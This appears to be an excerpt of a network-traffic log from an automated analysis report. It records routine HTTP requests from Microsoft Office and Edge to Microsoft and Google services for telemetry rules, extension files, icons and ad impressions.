Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js HTTP/1.1Host: assets2.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733000376&P2=404&P3=2&P4=foL4p%2feinbk0Pjk0spU1G0Cja02NyCRw7o3kQtCOQyzToJ7YFtZM1SdC1hOdvEgrpMdYkkbVbgrtpSyncqU85Q%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: qsCjhyIF2x6fU0u0/0UpH4Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T205942Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=ea89a54074f745cd8d693f63ce7c1675&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598481&metered=false&nettype=ethernet&npid=sc-88000045&oemName=ejofer%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=ejofer20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598481&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAT5kCsploOOBN1NkLGQEPVHIgc6cJXN6B5MMTduJtvTy7coKa+m9TTQNhtjhmZHiSRyQV4POKMY5FSpixY5RZVZ7rTVQdpThCDECpwQZT7KiZzIntr+2txA4Axk77Yx9Wogya/wvHhPEBkR5Fv/S2zWQ8Aba/9XEMcP3rJfzhlWP/XvSIAp9tlxV6beP4fQSIhATnxSgAvmbOn+Hw3ktIbhlozy8knXTyra0/wRuW6WbYu421+T5RqAxf+CTBq71HnjeexrziPkJoHO23HfIbAAQOSj7SsLjEeL5Bnledv8Vw5R+wixbLzex9iLUznBtkGVo6B7cBH1mdu8FgGg2AcMQZgAAEJdx+m+rtyGY1rv4fslCkKSwAabWhBB0PKb3rcNHgu8xOHSESde0m0tmRiBcTGqTbA0UdkmFiomMR6JW6MagxLjZ9fIBAnWKC2SzlXYnEIrVDyt6nTGk2SwNtQtccXqrP/lzRvslQ8/tOzpaCfPnUpibvRc9E1L9XbGfrbHtVden3n3VZS/719ctrH7X5IzD68TtR0uuxH3hlGG0YfhPpILGwLHiiKvkyF2zjRxRA3V0Vixhx+Fq4ok/K8RRHAUpUDh0EV6CmJ/WsMf4V486eJriDFx+d5h8RO5/gxK1LNhKofUb58WJxMqwdcH8h0C4zAGvqKMY9im/GPZPg3Fb+uy5MpoZ+Dd9SE7WLyMdrFV1hvdpHnvAC31eokRLGS/38lvafeIuz7yqd7hv/c+Neoo1D/bTXMyYFgOYTJq7qOVv5llyUIUwUw0+LU1/o746emvkkuWntB1zV/4hHPsxbkLEDTwrTOSO3EwEu0O5gmCi2UXFnTXBpdoATl6JXR09oIP0j8PYvjujr6TDv3e/HPEjBmjxDzX9sbPhfaXzxlwQjDIxuY++Qu5svZPwiA1eFwlB5FpZXCryM0cgOp30EfYoc9cB&p=Cache-Control: no-cacheMS-CV: lwu7Ar/LIEGoc7vP.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8Cs1T6sB4CM3N7ro7a4YSjTVUCUwAE3yIr5EwL4pZoc95M-hLzoKfCQ6nuVaqTrI87WOj4_oO-5wLn4nZiQDsUYiV31Tr96iPnGs1PP8JyhzQpZgsAH4q7F9AaNEpvJkvLWJWyELr5WAZuZGNtIQvZh2fkvacsXrhfKIp3HirfGuC6FgC%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZmNvcGlsb3QubWljcm9zb2Z0LmNvbSUyZiUzZnElM2R3aGF0JTJiY2FuJTJiY29waWxvdCUyYmRvJTJiYW5kJTJid2h5JTJiaXMlMmJpdCUyYmJldHRlciUyYnRoYW4lMmJ0cmFkaXRpb25hbCUyYnNlYXJjaCUyNmZvcm0lM2RNNTAwRVElMjZPQ0lEJTNkTTUwMEVR%26rlid%3D2f5e98edffb41fcd8fbcffafbd96dbc9&TIME=20241123T205943Z&CID=531174684&EID=531174684&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8Cs1T6sB4CM3N7ro7a4YSjTVUCUwAE3yIr5EwL4pZoc95M-hLzoKfCQ6nuVaqTrI87WOj4_oO-5wLn4nZiQDsUYiV31Tr96iPnGs1PP8JyhzQpZgsAH4q7F9AaNEpvJkvLWJWyELr5WAZuZGNtIQvZh2fkvacsXrhfKIp3HirfGuC6FgC%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZmNvcGlsb3QubWljcm9zb2Z0LmNvbSUyZiUzZnElM2R3aGF0JTJiY2FuJTJiY29waWxvdCUyYmRvJTJiYW5kJTJid2h5JTJiaXMlMmJpdCUyYmJldHRlciUyYnRoYW4lMmJ0cmFkaXRpb25hbCUyYnNlYXJjaCUyNmZvcm0lM2RNNTAwRVElMjZPQ0lEJTNkTTUwMEVR%26rlid%3D2f5e98edffb41fcd8fbcffafbd96dbc9&TIME=20241123T205943Z&CID=531174684&EID=&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=00B1613A3AD96430138B747A3BC06580; _EDGE_S=SID=24538D701EE86C0F132498301FF06D1D; MR=0
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
